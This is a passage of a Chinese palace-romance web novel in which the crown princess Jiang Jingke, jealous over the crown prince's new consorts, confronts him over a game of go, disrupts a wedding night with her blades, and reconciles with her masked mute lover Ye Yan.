江箐珂闭目养神了片刻,还是拉下脸暗示了李玄尧一句。 “妾身那个日子要到了。” 李玄尧头靠着车壁,闭目回道:“放心,曹公公那边都记着呢。” “这次,说不定也怀不上。”江箐珂又暗示了一句。 李玄尧默而不语。 腹中百转千回,江箐珂措辞了一番,表现出一副不情不愿的样子。 “要是怀不上,按殿下这意思,妾身癸水走后,夜颜还得来凤鸾轩?” 李玄尧笑了。 他终于睁开眼看江箐珂了。 “看你。” 闻言,江箐珂秀眉微蹙,“什么叫看我?” 李玄尧长吁了一口气,低头盘弄起手上的扳指来。 他云淡风轻道:“本宫近些日子也想通了,既然爱妃如此厌弃同房之事,迟迟不肯配合,本宫......便不再强人所难了。” 江箐珂沉默了一瞬,问:“殿下不怕外面的流言蜚语了?” 李玄尧笑道:“法子都是人想的,爱妃这边不行,本宫另寻他法便是。” 江箐珂挑眉问:“比如?” “比如,纳个才人、良娣到东宫。” 李玄尧看向江箐珂,笑得很欠揍。 江箐珂故作淡定:“然后再安排夜颜与她们同房?” 李玄尧耸了耸肩,摆起架子没说话,可是眼中的笑却是意味极深。 寻思了一番,江箐珂又说:“殿下不怕那才人或者良娣日后也知道殿下不行?” 李玄尧不以为然。 “选些听话乖巧、好拿捏的便是。本宫又何必一直受控于爱妃,浪费彼此的时间呢。” “更何况,东宫早晚得有新人进来。” “夜颜也同意?”江箐珂问。 李玄尧似是觉得问题可笑。 “本宫让他多睡一两个女子,本就是风流快活之事,他为何不同意?” “......” 许是自尊心使然,又许是那股从不愿低头的倔强在作祟,江箐珂扯唇,故作轻松笑了笑。 “那正好。” “妾身也不想跟一个不明不白的男子生孩子。” 话是这么说,可江箐珂的心里却很不得劲。 酸酸的,涩涩的。 是她从未体会过的滋味。 她用力推开车上的小轩窗,偏头看向车外,不再同李玄尧说半句话。 第30章 晴天霹雳 凤鸾轩。 江箐珂夜里睡不着,便爬起来,在烛灯前提笔写字。 喜晴打着哈欠,陪在一旁。 她探头瞧了眼,只见江箐珂在宣纸上写下了三个人名。 白隐。 穆珩。 异瞳暗卫。 “太子妃又在猜夜颜公子是谁了?”喜晴问。 江箐珂点头,随后又问喜晴:“白日里叫你打听的小太监,可问过了?” 喜晴才想起这茬来。 回宫的路上她就找了位小太监打听过了,只是回来后一直忙,都给忘了。 “奴婢问过了,那小太监本名叫谷影,原本是跟曹公公一起服侍太子殿下的,但前年皇上身边有个老太监走了,少了个侍奉的人,便被调了过去,改了个贱名叫八哥儿。” 说完后,喜晴看了看纸上的三个人,神色夸张地问道:“太子妃,你该不怀疑夜颜公子是这小太监吧?” 喜晴摇头否决。 “绝不可能,太离谱了。” 江箐珂却将八哥儿的名字写了上去。 她信誓旦旦道:“越不可能,越有可能。” 喜晴苦笑道:“上次您也是这么说的,结果公子变女子,成了另一种可能。” 江箐珂打了个指响。 “对啊。” “这次搞不齐就是太监变公子,成了另一种可能呢?” 喜晴愁眉苦脸地撅起了嘴。 “太子妃,你该不会让奴婢去扒太监吧。” 她假哭:“奴婢不要。” 江箐珂拍了拍她,安慰道:“没事儿,闭一下眼的事儿。” 喜晴生无可恋。 江箐珂指着宣纸上的人,让喜晴选:“你觉得谁最有可能是夜颜?” 喜晴看着人名思索。 “太子妃说的异瞳暗卫,奴婢没见过,不好评。” “但相比白太傅,奴婢觉得穆汐的兄长更有可能是夜颜公子。” 她反问江箐珂:“太子妃怎么觉得?” 江箐珂答:“我也觉得这个穆珩更有可能,而且,说不定他和这个异瞳暗卫是一个人。” 喜晴言:“那就又多了一个可能性。不若,奴婢改天找人先打听下,问问这宫里有没有人见过穆公子,看看他可是异瞳之人,这样便可去掉一个可能性。” 两人一拍即合。 ** 夜颜有些日子没来了。 江箐珂的癸水都走了好几日,也没见李玄尧安排他来同房生孩子。 按理说,江箐珂该庆幸开心才对,可这几日却是心烦意乱,见到曹公公就想骂他几句,见到谷丰、谷俊那几人就想抽他们几鞭子。 以往在西延时,她心情不好,都是拉着江止当陪练。 练长枪、练双刀,练软剑,什么耗力气,就干什么。 等身体里的那股劲儿发泄完了,也就没力气郁闷、烦躁了。 然后大汗淋漓地躺在地之上,天之下,跟江止摆个一样的“大”字,一起望着晴空万里,躺在那里傻笑。 偏偏京城的三伏天真是热死个人。 人坐着在这里什么都不动,就汗流浃背的,更别提把谷丰他们提拎来打几架。 算了,算了,心静自然凉。 可问题是,她心不静啊? 江箐珂穿着冰蚕丝做的襦裙,窝在廊庑下的藤制摇椅里,一边摇着团扇,一边啃着西瓜。 喜晴去内务府领冰块,刚出凤鸾轩的院门没多久,就急急忙忙地跑了回来。 “太子妃,出大事了。” 江箐珂往碟子里吐了口西瓜籽,心不在焉地道:“天又没榻,算哪门子大事。” “太子殿下他......” 喜晴的脸憋得通红,也不知是急的,还是热的。 江箐珂打趣道:“太子殿下怎么了,莫不是,太子改行当太监了?” “不是。” 喜晴顺了几口气,气呼呼道:“太子殿下真的纳了个良娣和才人,人都从侧宫门给抬进来了。” 晴天霹雳,身体猝然顿住,那口瓜也夹在了江箐珂的唇齿之间。 李玄尧还真这么做了? 尽管早有心理准备,可乍听到这个消息,江箐珂的那颗心哦,好像沉进了深井底,哇凉哇凉的。 团扇撇到一旁,她缓了缓情绪,装作无所谓地继续吃瓜。 “帝王之家......” “不是......” 御贡的西瓜,汁水多,且甜得起沙,江箐珂一口接一口地啃,中间停顿时,便迸出几句话。 “一向如此....” “有什么......” 吐口籽儿,那两瓣桃花唇继续蠕动,“大惊小怪的。” “李玄尧......他不行......” “来个良娣......和才人,他就……能行了?” 言语间,一块瓜已经啃得干净,拿起另一块西瓜继续啃。 喜晴一听也有道理。 太子不行,来个良娣和才人也没法跟自家主子争宠。 “太子妃说得也对。” 可想了想,喜晴就像江箐珂肚子里的蛔虫,替她伤感起来:“那夜颜公子岂不是还得侍奉那两位?” “......” 一股浓烈的酸涩从心口涌到嗓子眼,冲得她鼻子发酸,差点就红了眼。 江箐珂偏头看了眼盘子里的西瓜,砸吧了下嘴,将手中那吃到一半的西瓜扔回了盘子里。 “这西瓜是不是馊了,难吃!” 起身回到殿内,江箐珂选了个最漂亮的眼罩戴上,躺到美人榻上睡大觉。 但,只是看起来是在睡大觉而已。 一想到夜颜也会跟什么才人、良娣滚到一个被窝里去,江箐珂就难受。 委屈、不甘、难过,折磨得她躺在美人榻上翻来覆去。 难受极了,几滴不争气的泪水夺眶而出,悄悄洇湿了眼罩。 偌大的寝殿里,眼罩的遮掩下,无人发现豆蔻少女的心事。 泪水流多了,人就会忍不住抽抽鼻子。 喜晴闻声,关切道:“太子妃怎么了?” 没办法,江箐珂只能坐起身来,扯下眼罩,开始抱怨。 “这破天,热死个人啦,热得人难受,直想哭。” “还是西延好,冬冷夏凉,一年都热不着。” 江箐珂撅着嘴,开始任性地乱摔东西。 “这破东宫,一刻都不想呆了。” “我要回西延,去找兄长。” “还有江箐瑶那个贱妹妹,我不在,她得乐得要上天。” 她在这边扔东西,喜晴就跟在屁股后面捡。 自小便在江箐珂身边侍奉,主子的心思,喜晴多多少少是能猜到的。 只是看她难受着,喜晴便不想揭她的痛处。 待江箐珂自己作累了,终于安静地坐了下来。 她颓丧低头,第一次深刻地意识到,自己并不如想象中的那么大度、那么的无所谓,可以不把男人当回事,可以洒脱大方地与其他女子共事一夫。 偏偏还嫁给了天下女人会最多的男子。 好在,她不喜欢李玄尧。 否则,未来真的就是毫无止境的痛苦。 “太子妃。” 喜晴在旁柔声安慰她:“您若是心里有什么不痛快,就去跟太子殿下说啊。以前您在将军府可是想要什么都会去争去抢的,怎么来到这东宫反倒还痛改前非了呢。” 江箐珂蹙眉瞪向喜晴。 “你这舌头,还是太长了,什么不好听,说什么。” 但,喜晴说的也有道理。 是得找李玄尧谈一谈。 第31章 还不明显吗 东宫这片儿......江箐珂基本上没有不能去的地儿,李玄尧的寝殿和书房除外。 李玄尧的寝殿江箐珂不太了解。 但他的书房,慕容熹是可以随便出入的。 四舍五入,等同于慕容熹的地位比她江箐珂高。 因为慕容熹几乎可以在东宫里横着走,连她的凤鸾轩也可以进。 而她江箐珂,想进李玄尧的书房,比去勤政殿面圣还要难。 大热天的,书房大门紧闭。 江箐珂站在外面要求见李玄尧,曹公公却拦着她不肯放行。 “殿下刚下朝没多久,休息一会儿,稍事还要赶着去勤政殿帮皇上批奏折。” “天气这么热,太子妃还是先回去,改日再来吧。” 改日是哪日? 等夜颜被送去给才人、良娣借种后? 想到这茬儿,她就满肚子火。 “起开!” 江箐珂一把拨开曹公公,扽着鞭子便要踢门而入,却被谷丰和谷昭抬剑拦截。 谷昭神色严肃而认真。 “太子妃请留步,殿下在休息,若无殿下口谕,闲杂人等不得入内。” 她是闲杂人等? 江箐珂沉着脸,凭空甩了下鞭子,学起了江止说话的腔调。 “老子数到三,都乖乖给我让开。” 谷丰调皮道:“太太太,太,子妃,属,属,属属下,替,替替,替您数。” 曹公公走过来,用拂尘甩了下谷丰。 “放肆!大热天的,你属,太子妃就得晒中暑。” 一旁的谷昭跟其他的小太监都跟着捂嘴偷笑。 “笑个甚!” 江箐珂嗷的就是一嗓子,甩了下鞭子,凶道:“一个个都找抽是不是?” 正当她要动武硬闯时,殿门应声从内而开,让她挥鞭子的手悬停在了半空。 开门的是慕容熹。 看得江箐珂有一瞬的心虚。 慕容熹仍是一身男子装扮,脸上也还戴着那副银制面具。 她冲江箐珂微微颔了下首,算是行了礼。 不过,看江箐珂的眼神仍带着点情绪。 慕容熹侧身让路,无声地朝殿内做了个请的动作。 “太子妃找本宫何事?” 此时,李玄尧衣袍整齐端正地坐在矮榻上,单手拄着太阳穴,看着他与慕容熹下到一半的棋局。 江箐珂在他对面随意坐下,该守的规矩一个都没守。 李玄尧抬眸冷眼看她,眼底透着一丝锋锐。 “太子妃真是越来越不像话了,硬闯书房也就算了,见到本宫也不行个礼。” 江箐珂冷着脸,语气不善。 “那殿下就把我废了吧,反正都纳了良娣和才人。” “正好这东宫我也不想呆了,太子妃我也不想做了,我要回西延,咱俩和离吧。” 李玄尧面色无变,缓缓执起一枚黑棋,落在了棋盘上。 “你明知父皇赐婚给你我二人是为什么,也明知本宫图你什么,还奢望和离?” “更何况,本宫可不会让人带着秘密,活着离开东宫。” 威胁的口吻多多少少透着点杀意。 江箐珂也不怕他。 她不请自拿,捏了枚白棋,在棋盘上落了一子。 “既然殿下舍不得放我走,那就对我好点啊。” “本宫对你如何不好了?” 李玄尧一脸诧然,终于肯抬眼看江箐珂。 “若是换做旁人,没有你背,背,背后.......那五五五......五十万,大,大,大军!本宫岂会任由你在东宫造次?” 从棋盒里拿起一枚黑子,李玄尧愤愤落子,并道:“劝爱妃知足!” 江箐珂又落一子,破了李玄尧棋局中的眼位。 “殿下要把我的东西拿过去给别人用,怎么就是对我好了?” 李玄尧看了眼被江箐珂破了的棋眼,堵住了一口气。 再抬头说话时,已没了那先前的平和随性。 他呛声问:“本宫拿你什么东西给别人了?赏赐你的东西倒不少!” 话落,李玄尧又落了一黑子,试图再做个假棋眼。 江箐珂继续跟棋,破眼杀子。 且还答得理直气又壮:“夜颜啊。” “夜颜怎么能是你的东西?他不是东......” 李玄尧是既被杀糊涂了,也被气糊涂了。 深呼一口气,改口道:“他活生生的一个人,怎么就成你的东西了?要是,也是本宫的人。” “......” 江箐珂剜了李玄尧一眼。 她伸出舌尖,在一个手指头上舔了舔,然后在李玄尧的棋盘一角,用手往那儿一蹭。 李玄尧目瞪口呆地看着那处,五官都挤到了一起。 抬眸,他甚感恶心地看向江箐珂。 “江箐珂!你能不能......淑女些?” “本宫的棋盘,沾上你的口水,还怎么用?” 江箐珂笑问:“恶心吧?” 李玄尧咬着后槽牙,看着她不语。 江箐珂继续道:“看吧,东西尚且如此,更何况人呢。你要把夜颜拿去给那些才人、良娣用,回来再让他侍奉我,都沾了其他女人的口水,妾身用着就不恶心吗?” 李玄尧揉了揉太阳穴,感觉那里突突地跳。 “你这都是什么歪道理?” 江箐珂执起一枚白棋,落在了李玄尧忽略的一处,然后目光清凌凌地看向他,眨了眨眼。 “我的歪道理,还不明显吗?” 李玄尧忍下了那口气,继续落子杀棋。 “不是你嫌弃人家是哑巴,不想与不明不白的男子同房生孩子吗?” “怎么这功夫又跑来跟本宫要人了?” 江箐珂一时有些理亏。 她嘴硬道:“反正妾身从小就这样,我用过的,东西也好,人也罢,不论好与赖,就是不喜欢给别人用。” “膈应!” 两人无声地下了一会儿的棋,而慕容熹则绕到了那扇屏风之后。 江箐珂回头瞥了一眼,屏风那侧,今日除了慕容熹外,再无旁人。 “夜颜这个人性子傲,心思深,最是在意自己是个哑人的事。” 李玄尧一边下棋,一边慢声言道:“你既说过嫌弃他的话,人家伤了自尊,也岂敢再侍奉你这个太子妃。” “你是太子,他还不是得听你的?”江箐珂言。 李玄尧嗔笑了一声,语气幽幽,摆起了架子。 “本宫说了,不想再强人所难,就像本宫也不想再强迫爱妃生儿育女一样。” “夜颜现在不想,本宫也不想再为难他。” 明显是不愿把夜颜只给她用。 江箐珂一来气,捧着那碗白棋,在棋局上大杀四方。 虽说李玄尧这边是黑如破军,攻势如潮,可江箐珂那边却是白如太极,守中藏锋,然后步步后发,最终反杀为王。 棋局已定,李玄尧抬眸看她,眼底透着意外。 “没想到,你这个边野长大的草包,竟然还会下棋?” 秀眉紧拧,中间夹杂着怒气。 江箐珂小拳头捶了下棋盘,道:“瞧不起谁呢,你才草包呢,殿下全家都是草包。” 李玄尧偏头看她笑,可周身都透着一股生杀予夺的肃杀之气。 “有种再说一遍。” 江箐珂立马怂了。 她清了清嗓子,语气渐弱道:“殿下输给了……草包,那岂不是……连草包都不如。殿下自己挖坑跳,怪得了谁啊。” “……” 修长白皙的指间夹捏着一枚黑棋,因过度用力,指腹被挤得发白。 李玄尧闭眼平复,却仍感觉自己头顶好像在冒烟。 “江箐珂,你真该庆幸,你背后有五十万江家军。” 再睁开眼后,李玄尧随手指了下门外。 “出去。” “那……夜颜他?”江箐珂不死不休。 “……” 而回馈给江箐珂的却是李玄尧凌厉且锋锐的眼神。 一番商讨无果,江箐珂和喜晴抱着那棋盘,被逐出了李玄尧的书房,悻悻回了凤鸾轩。 第32章 东宫初夜 争取无果,江箐珂心情不佳。 像是被人抽去了所有气力一般,她栽歪在美人榻上,一动不动地望着屋顶的藻井,开始数那上面画了几朵莲花,又画了几朵祥云。 喜晴看江箐珂无精打采的模样,很是心疼,遂又出起了主意。 “既是那夜颜公子在生太子妃的气,不如同他道个歉如何?” 江箐珂躺在那里无力摇头。 “我连他是谁都不知道,去哪儿寻他也不知晓,怎么道歉?” 喜晴又言道:“咱们虽不知道夜颜公子到底是谁,可曹公公定是知晓的,可以委托曹公公传话给夜颜公子。” 江箐珂又是摇头。 “算了。” 她叹了口气,慢声慢语道:“我是太子妃,跟他......终归不是长久之事。先前是脑子热,现在清醒了。” “就这样吧。” “我江箐珂也不愿低三下四地去哄一个大男人。” “哑巴就是哑巴,嫌弃下怎么了?” “那么小心眼儿,一点男子汉的气魄都没有。” 听了这番话,喜晴也算是宽了心。 “太子妃能这么想那自是最好的。” “一个无脸无名的男子而已,确实不值太子妃劳神伤心。” 江箐珂忽然语气惆怅道:“好想回西延啊,京城没意思,东宫也没劲,最重要的是,这里没有人会像兄长那样惯着我。” 正在缝香囊的喜晴闻言,缓缓放下手中的针线,转头,然后若有所思地望向窗外。 也不知是想起了什么事儿,那双杏眸潋滟胜春,面颊微微浮起两抹霞红。 收起眼底不易被人察觉的情愫,她低下头来继续绣起香囊,然后同江箐珂闲聊着。 “不知大公子最近过得如何?” “西延天气也热了,太子妃不在,不知有没有人给他熬点绿豆汤喝喝。” 江箐珂偏头看向喜晴,笑道:“那绿豆汤不都是你熬的?还加了百合。” “太子妃不也有在旁帮忙嘛,所以,算是主子和奴婢一起熬的。” 两人聊起西延的旧事,渐渐的,江箐珂心情也跟着好了许多。 可到了午后申时,她的好心情又被曹公公给搞崩了。 趁着李玄尧去勤政殿帮皇上批奏折的功夫,曹公公带着新入宫的良娣和才人来给她敬茶、行礼。 也算是认认脸,打声招呼。 “这位是张良娣,吏部侍郎张大人之女,年芳十九,比太子殿下小三岁,琴棋书画样样皆通。” 曹公公仔细介绍着。 “这位是徐才人,是都察院左副都御史徐大人之女,年芳十七,比太子殿下小五岁,善茶道花道,且厨艺极佳。” 张良娣,之前在左丞府的寿宴上,江箐珂倒是见过。 长相秀丽温婉,端庄娴静,言谈举止温温柔柔的,处处都透着大家闺秀的风范。 你说什么,她都点头微笑。 别人说话时,她在旁边也即会附和奉承,看起来没什么脾气,好似也没什么主见。 可越是这样喜怒不形于色的人,江箐珂却越觉得难交。 因为,看不透。 至于另一位徐才人,江箐珂是第一次见。 她对京城贵女所知甚少,对这位徐才人自然也是一无所知。 但光看长相,娇俏可人,雪肤花貌,羞答答都不敢抬头多看人一眼,心里想的也都表现在了脸上。 正是李玄尧说的那种乖巧懂事好拿捏的女子。 就是不知,夜颜会喜欢哪一位呢? 一想到这两个美人都是夜颜要是侍奉的,江箐珂就心绞痛,刚好的心情也变得乱糟糟的。 喝了两人敬的茶,又让喜晴给了些赏赐后,江箐珂便把他们都给打发了。 人走后,江箐珂又开始烦躁。 偏偏喜晴这功夫哪壶不开提哪壶。 “才人和良娣同时入东宫,按理说今晚便是洞房夜,也不知殿下怎么安排。” 洞房? 两个字,就像是什么魔咒似的,登时将江箐珂带回了东宫初夜。 凤冠霞帔,红烛喜被,桂圆红枣花生和莲子,还用那红彤彤的寝殿…… 那晚,她等了很久。 等到喜烛灭,等到宫婢蒙上她的眼,等到了一个炙烫且同她一样紧张的胸膛。 那晚的夜颜似乎也是初尝云雨。 手颤颤巍巍的,力度总是掌控不好,时而把她捏得重了,时而揉得狠了,总是疼得她嘤嘤求饶。 他吻得毫无章法,吸得也过度用力,就连门路也是找了好久才找对。 刺痛的,颤栗的,欢愉的,悸动的...... 那晚体会到的感觉,至今记忆犹新。 他们在烟火绽放时拥抱彼此,气息交融,合二为一。 在那个无声岑寂的夜晚,殿内有的只是急促的喘息和皮肤摩挲的细微声响。 他啄去她痛得流下来的泪,然后轻咬她的耳垂,仿若是在她耳边的另种呢喃。 当时的江箐珂还天真地以为,她和李玄尧就是天作之合。 谁承想...... 如今有了经验,夜颜与张良娣或者徐才人洞房时,那定是轻车熟路。 江箐珂的脑海里甚至已经开始上演夜颜与她们颠龙倒凤的画面。 两人都是蒙着眼,衣衫被剥落,然后被他抱着、压着...... 很好,很好。 她江箐珂成练手的了。 双手紧攥成拳,江箐珂想打人。 她腾地坐起身来,同喜晴下令道:“从今往后,在这凤鸾轩里,你不准再跟我提夜颜这个名字。” 喜晴懵懵地点了下头。 “好的,奴婢一个字也不提。” 也? 听着好像夜啊。 江箐珂又发疯:“不对,从今往后,噎,爷,也,夜,这些音都不准提。” 喜晴挑眉抿唇,很是无奈地点了点头。 第33章 徐才人侍寝(3-1) 当日夜里。 江箐珂正坐在廊庑下乘凉,就听到凤鸾轩外面的宫道上很是热闹。 不用派喜晴去瞧,江箐珂都猜到了这是什么热闹。 就是不知,夜颜今晚会宿在谁那里? 她仰头望向檐外,只见夜幕之中一轮皎月高悬。 月亮是又大又圆,好不漂亮。 当真是花好月圆人长久,可比她的洞房初夜好太多了。 江箐珂奋力摇着团扇,越摇越用力,好好的一个缂丝团扇都要被她给摇坏了。 喜晴好信儿,疾步跑出凤鸾轩外想要瞧瞧热闹。 江箐珂心里也好奇,便也没拦着她。 等了好半晌,终于把喜晴给盼了回来。 江箐珂看向喜晴,并未主动开口问,就等着喜晴自己主动说。 她视线紧随喜晴而动,偏偏喜晴话也不说一句,竟去殿里拿蚊香去了。 “……?!” 夜颜到底是去了张良娣那里,还是去了徐才人那里,还是今晚两处都要去? 倒是给句话啊。 张良娣位份大,家世好,李玄尧应该会安排夜颜先去她那里吧? 可徐才人小巧可人好拿捏,是李玄尧的首选。 真是要了命了,她想这些干嘛? 江箐珂窝坐在藤椅里,欲哭无泪,团扇摇得是虎虎生风。 等了大半晌,江箐珂憋不住了,待喜晴端着香炉出来时,撑身坐直,开口问她。 “你怎么不说话?” “奴婢该说什么?” “你出去看了什么啊?” “说了太子妃又不高兴,奴婢为何说?” “可你不说,本宫更糟心。” 喜晴笑了笑,痛快答道:“是徐才人。” 果然。 娇软在怀,夜颜今晚定是要爽死了。 可她江箐珂却要烦死了。 烦死了,烦死了,烦死了! 江箐珂腾地站起身,把手里的扇子扔到半丈远。 “在哪里洞房?”她没好气儿地问。 “太子殿下的寝殿。曹公公刚才就是带着太监和宫婢们去徐才人那里抬人的。” 江箐珂一听,心头就像被瞬间冰封一般,咔嚓嚓地结了一层冰碴子。 曹公公这流程,她可太熟了。 “徐才人可有被蒙住眼?” 一双杏眼睁得圆溜溜,喜晴点头如捣蒜:“被子包着头,应该是蒙了。” “殿内可点了灯?” 喜晴头摇得有些犹豫。 “好像没点。” “反正在外面看着,那屋子里不亮堂。” 江箐珂抬头看了眼空中明月,冷着脸,朝喜晴伸出手来。 “把我的双刀拿来。” 喜晴神色紧张:“太子妃这是要做什么?可莫要冲动啊。” 江箐珂拖着懒洋洋的声调,冷幽幽道:“良辰美景,多适合作妖。今晚,谁都别好过。” 喜晴劝也劝不动,拦也拦不动,只能眼睁睁地看着江箐珂提着双刀,气势汹汹地来到了太子的寝殿外。 曹公公此时正与几名侍卫、小太监守在那殿门之外。 见江箐珂提着刀,闲庭信步地走来,曹公公立马笑盈盈地迎上前去。 “都这个时辰了,太子妃还没休息呢?” 江箐珂抬起一把刀,指了指夜空中的月亮,语气拿捏得轻松又随意。 “今晚月色不错,本宫闲得无聊,想找人练练刀法。” 曹公公满脸堆笑。 “东宫后面的那个大院子,有的是地方给太子妃练刀法,可太子妃怎么寻到这儿了?” 江箐珂又将刀尖转向殿门口的那两个人。 “本宫今晚就想找谷俊和谷羽练。” 曹公公躬身赔着笑,端出一脸的为难状。 “哎呦喂,太子妃,您可饶了奴才吧。” “今晚是徐才人的好日子,这二位啊,还得在这儿守着殿下呢。” 他挪步凑近,哄着江箐珂。“要不,太子妃容奴才派人去寻两个侍卫到凤鸾轩去,陪太子妃练刀法,如何啊?” 江箐珂蛮横摇头。 “用不着那么麻烦。” “我和他二人在此练刀,不耽误他们保护太子殿下,而且,本宫也能出份力。” 不容分说,江箐珂提起刀,径直朝谷俊先砍了过去。 “太子妃......” 谷俊躲闪不及,只能拿着未出鞘的剑,回挡江箐珂的每一刀。 刀剑相撞,在院子里砍得叮叮咣咣的。 没多久,殿门从内而开,传来了低沉的一声呵斥。 “成何体统?!” 夜颜能说话了? 江箐珂立马收刀,转身看向殿门口的人。 第34章 区别对待(3-2) 寝殿内似乎只点着一盏喜烛。 烛光微弱,那道身影就站在那幽暗的屋门口。 借着月色,江箐珂看清了那人的相貌。 是李玄尧。 烦躁的一颗心登时就平复了一半,她提着刀朝李玄尧走去,却被谷羽拔剑阻拦。 “太子妃请止步,除近身侍卫外,任何人都不得携带兵器靠近殿下。” 江箐珂随手就把双刀往身后一撇。 拨开谷羽的手,她几步走到李玄尧的身前,而那句怎么是你被江箐珂咽回了肚子里。 她探头朝屋内瞧了几眼。 徐才人并未蒙着眼,她身上裹着李玄尧的外袍,站在圆桌前,羞答答地冲她欠身行了个礼。 目光落在桌子上的酒壶、酒盏,江箐珂回过头来问:“殿下在和徐才人做什么?” 李玄尧一副听了句废话的表情。 但他还是压下火气,皮笑肉不笑地道:“当然是喝合卺酒。” “就你二人?”江箐珂问。 李玄尧咬着后槽牙反问:“难道要三个人喝?” 两个人就好。 江箐珂还是不放心,又问:“殿下是要睡通宵,还是只喝个合卺酒而已?” 隐藏的意思在明显不过。 李玄尧指了指身上的中衣,反问道:“你说呢?” 这个答案,江箐珂很满意。 “天色不早了,妾身练刀也练够了,这厢就回去歇息了。” 她微微欠身,盈盈一礼,少有地遵规守矩了一次。 “祝殿下和徐才人琴瑟和鸣,早生贵子。” 江箐珂转身便走。 可走了几步,她又顿足回身,拧眉不悦地看向李玄尧,挑起了毛病。 “妾身嫁入东宫那晚,殿下为何不同我喝合卺酒?” “怎么还区别对待?” 李玄尧似乎也懒得同她废话,冷冷地睨了她一眼,嘭的一下,就将屋门用力关上了。 江箐珂这功夫心情好了,也就不计较了。 撇了撇嘴,转身叫上喜晴,提着她的双刀,慢悠悠地朝她的凤鸾轩踱步而去。 “太子殿下,不是......” 回凤鸾轩的宫道上,喜晴凑到江箐珂身侧,极小声地蛐蛐道:“不是不行吗?” “他不行,之前不也在我的床上睡过一晚吗?” 江箐珂漫不经心地说:“估摸着,是吸取在我这里失败的教训,改变了策略,今晚先露个脸,迷惑下徐才人而已。” 喜晴点头。 “有道理。” “可过了今晚,那以后呢?殿下是不是还会派......” 夜颜二字,被喜晴咽了回去。 江箐珂自是也想到了这点,刚好点的心情又沉重起来。 还是得找夜颜谈谈才行。 可惜,想找夜颜,都不知道去哪儿找他。 “穆珩的事打听得如何了?”江箐珂问。 “奴婢倒是问过宫中的几位老人,可因那些人都未曾侍奉过文德皇后,又在各自主子的院里做事,所知甚少。” “只知那穆家兄妹一个月里有大半个月是住在文德皇后宫里,给长公主和太子殿下做伴读的,但都未曾亲眼见过。” “倒是有位浣洗局的老嬷嬷,曾给文德皇后的宫里送洗烫好的衣物,瞧见了那兄妹俩。” 江箐珂停下脚步,满眼期待。 “怎样,那嬷嬷可有说穆珩公子的眼睛有何特别之处?” 喜晴摇头。 “那倒没说。但是......” “那嬷嬷说那小公子和他妹妹,脸上都戴着面具,在院子里跟尚是孩童的小太子一起追打嬉闹。” “所以,也没看清长什么样儿。” 喜晴慢条斯理地又说:“奴婢这几日还在四处打听,想看看宫里面有没有在文德皇后宫里做事的嬷嬷或太监。” “若是能寻到,问他们最是清楚的。” …… 月上梢头,此时人间夜色正好。 静谧祥和的东宫里,有人在洞房,有人在失眠。 江箐珂睡不着,坐在廊庑下,晃着摇椅乘凉。 喜晴点了蚊香后,拿着团扇给江箐珂扇风、赶蚊子。 江箐珂望着月亮,思绪飘到遥远的西延。 同一轮月下,不知西延的将军府此时是何样,父亲和兄长们可还安好,衡帝赐的美人可有到,继母和贱妹妹可过得快活? 泛黄的记忆在脑海里浮现,可细节总是模模糊糊的,让人感觉在西延长大的十八年,竟遥远得恍若隔世。 江箐珂不知道以后的日子,是不是就要这么过了。 窝在这四方天地里,日复一日,年复一年,放眼一看,便能将自己的人生看到头。 没人爱,没人疼。 只有一个喜晴能陪她忆忆过往,聊些有的没的。 思绪飘飞间,垂花门外传来窸窣的脚步声。 有人提着暖黄的宫灯,踏着月光,闲庭信步而来。 第35章 做了多久(3-3) 宫灯在那人脚前映下一圈光晕,随着他一走一动,暖黄的光圈在地面上来回打着圈晃动。 月光透过院内的枝叶倾洒,在他身上落下斑驳的光影,同时也模糊了那张狐狸面具。 一旁的喜晴知趣地无声退下。 而江箐珂就坐在那里,静静地看着夜颜一步步朝她走来。 这几日积攒下来的火气,在看到那张狐狸面具的瞬间,一下子都特不争气地消了。 但,那股子傲气和倔强使然,江箐珂还是别扭着。 她偏头不看他,蹬腿前前后后地晃着摇椅,态度冷冰冰的。 窸窣的脚步声临近,高大的身影倏然挡住了眼前的月光。 夜颜在藤椅前止步,宫灯放到一旁,缓缓俯身。 双手撑在摇椅两侧的扶手,霸道地按住了那前后摇晃的椅子,将江箐珂彻底圈困在他的身影之下。 他隔着狭长半眯的狐狸眼,直勾勾地瞧着她,等着江箐珂主动开口理睬他。 江箐珂斜眼瞧他,脑子开始算起了时间的账。 她从李玄尧的寝殿回来不到半个时辰。 这半个时辰内,李玄尧与徐才人喝合卺酒、闲聊,应该半炷香都不用到。 熄了灯,蒙上徐才人的眼,夜颜换李玄尧,与徐才人行房事,若是够快,时间也够用。 虽说她与夜颜每次云雨时,怎么说也得半个时辰,但保不齐他今天快。 江箐珂朝他凑近了一些。 歪头,贴上去。 她依次在夜颜的衣襟、脖颈和发丝,仔细闻了闻。 干爽无湿意,显然未洗过澡。 而身上除了那淡淡的龙涎香外,便是那若有似无的药香气,根本未沾染半点女儿香。 应该是干干净净来的。 夜颜似乎看出了她的小心思,故意将身子又朝她靠近了一些,想让她确认个仔细。 疑心消除,江箐珂回身欲要坐直。 夜颜却在这时微微偏头看向她,也不知是不是有意为之,那张凸翘的狐狸嘴正好与江箐珂的唇角轻轻擦过。 江箐珂靠坐回藤椅,别别扭扭地先开了口。 “不生气了?” 面具下传来几声清浅的鼻息,夜颜似乎是笑了。 他摇了下头,直起身,在廊庑下的扶栏上坐下,抬头望向江箐珂方才瞧的那轮明月。 江箐珂咬了咬唇,用拙劣的方式同夜颜表达着歉意。 “我那日说的是气话。” “其实,哑巴也没什么不好的。” “不啰嗦,不废话,像你这样安安静静的,耳根子清净得很,挺好的。” “所以,我不嫌弃你是个哑巴。” 夜颜转头看向她。 从怀里掏出炭笔和折册子,借着廊庑下的宫灯和月光,写字给她看。 【在下知道。】 “你怎么知道的?” 【太子妃今日去书房同太子殿下讨在下,刚刚又去殿下寝殿前闹事,不都是不嫌弃在下是个哑巴的意思吗?】 【白日里知道时,便已经不气了。】 江箐珂有些意外。 她没想到,夜颜竟会通过她那些蛮横且幼稚的行为,读出她别扭的心思。 “你还挺聪明的。” 夜颜单臂撑在扶栏上,姿态闲适地靠坐在那里,看着她微微点了下头。 倒是不谦虚。 后知后觉的,江箐珂莫名有种被套路的不快感。 好像夜颜就是在等着今日这一遭,让她成为这场冷战的败者,承认他在自己心里的分量。 然后,心甘情愿与他同房? 江箐珂眯眼瞧着夜颜,开始琢磨。 而夜颜似是想起了什么,从他的袍袖里掏出一枚木簪子递到了她的面前。 江箐珂梗了下脖子,伸手接过。 簪子入手的那刹那,便有了实感。 质地坚硬,手感厚重,是上好的黑檀木雕制的祥云簪,隐隐的还有股檀木香。 